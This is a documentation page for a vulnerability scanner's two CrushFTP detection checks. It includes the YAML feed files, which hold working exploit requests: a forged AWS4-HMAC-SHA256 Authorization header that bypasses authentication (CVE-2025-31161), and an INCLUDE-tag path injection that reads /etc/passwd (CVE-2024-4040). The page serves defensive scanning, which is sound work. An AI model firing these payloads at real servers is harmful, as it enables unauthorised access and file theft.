CrushFTP — 2 vulnerability checks

noctis ships 2 vulnerability checks for CrushFTP, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CrushFTP Authentication Bypass via AWS4-HMAC-SHA256 Credential Header

CVECVE-2025-31161
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/crushftp/CVE-2025-31161.yaml

Requests the getUserList admin function with a forged AWS4-HMAC-SHA256 Authorization header and reports when CrushFTP returns the user list (crushadmin) without valid credentials.

How noctis detects it

  1. HTTP(S) request GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1234
  2. Checks bypass_resp.body for <user_list_subitem>crushadmin</user_list_subitem> → finding QoD 97: CrushFTP authentication bypass confirmed — admin user list returned without credentials via forged AWS4-HMAC-SHA256 header (CVE-2025-31161)
Feed source — tests/vulnerabilities/crushftp/CVE-2025-31161.yaml
uid: 7bdccc0a-5676-4c76-9da7-7bf75450c0ea
name: "CrushFTP Authentication Bypass via AWS4-HMAC-SHA256 Credential Header (CVE-2025-31161)"
description: "Requests the getUserList admin function with a forged AWS4-HMAC-SHA256 Authorization header and reports when CrushFTP returns the user list (crushadmin) without valid credentials."
cves: [CVE-2025-31161]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags:
  - crushftp
  - auth-bypass
  - kev
  - file-transfer
services:
  - http
  - https
author: noctis
version: "1.0.0"

steps:
  - id: auth-bypass
    action: http_request
    method: GET
    path: "/WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1234"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    follow_redirects: false
    headers:
      Cookie: "CrushAuth=1234567890123_NOCTISABCDEFGHIJKLMNOPQRSTUVWX1234; currentAuth=1234"
      Authorization: "AWS4-HMAC-SHA256 Credential=crushadmin/"
    store_as: bypass_resp

  - id: bypass-confirmed
    action: match
    source: bypass_resp.body
    pattern: "<user_list_subitem>crushadmin</user_list_subitem>"
    condition: "bypass_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "CrushFTP authentication bypass confirmed — admin user list returned without credentials via forged AWS4-HMAC-SHA256 header (CVE-2025-31161)"

CrushFTP VFS Sandbox Escape Arbitrary File Read

CVECVE-2024-4040
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Serviceshttp, https
Detectionhttp_request, match, tcp_connect · highest QoD 75
Feedtests/vulnerabilities/crushftp/CVE-2024-4040.yaml

Takes the anonymous session token from /WebInterface/, sends a zip command whose path carries an <INCLUDE>/etc/passwd</INCLUDE> tag and reports when the file comes back, escaping the VFS sandbox.

How noctis detects it

  1. HTTP(S) request GET /WebInterface/
  2. Checks webif_resp.headers.set-cookie for currentAuth=
  3. Raw TCP (TLS on HTTPS), sent verbatim: POST /WebInterface/function/?command=zip&c2f={{auth_token}}&path=<INCLUDE>/etc/passwd</IN…
  4. Checks vfs_resp.banner for root:x: → finding QoD 75: CrushFTP VFS sandbox escape confirmed — /etc/passwd content returned via INCLUDE tag injection (CVE-2024-4040)
Feed source — tests/vulnerabilities/crushftp/CVE-2024-4040.yaml
uid: 4da61d42-bdb6-49d0-9f5b-2d0b4982ab45
name: "CrushFTP VFS Sandbox Escape Arbitrary File Read (CVE-2024-4040)"
description: "Takes the anonymous session token from /WebInterface/, sends a zip command whose path carries an <INCLUDE>/etc/passwd</INCLUDE> tag and reports when the file comes back, escaping the VFS sandbox."
cves: [CVE-2024-4040]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.10
tags: [lfi, file-read, vfs, crushftp, kev]
services: [http, https]
author: noctis
version: "1.0.0"

vars:
  auth_token: "abc123xyz"

steps:
  - id: webif-probe
    action: http_request
    method: GET
    path: "/WebInterface/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: webif_resp

  - id: crushftp-check
    action: match
    source: webif_resp.headers.set-cookie
    pattern: "currentAuth="
    condition: "webif_resp.status == 200"
    on_match:
      set_vars:
        is_crushftp: true

  - id: vfs-escape
    action: tcp_connect
    port: "{{port}}"
    send: "POST /WebInterface/function/?command=zip&c2f={{auth_token}}&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Length: 0\r\n\r\n"
    condition: "is_crushftp == true"
    store_as: vfs_resp

  - id: passwd-match
    action: match
    source: vfs_resp.banner
    pattern: "root:x:"
    condition: "is_crushftp == true"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "CrushFTP VFS sandbox escape confirmed — /etc/passwd content returned via INCLUDE tag injection (CVE-2024-4040)"
      stop: true

View these feeds on GitHub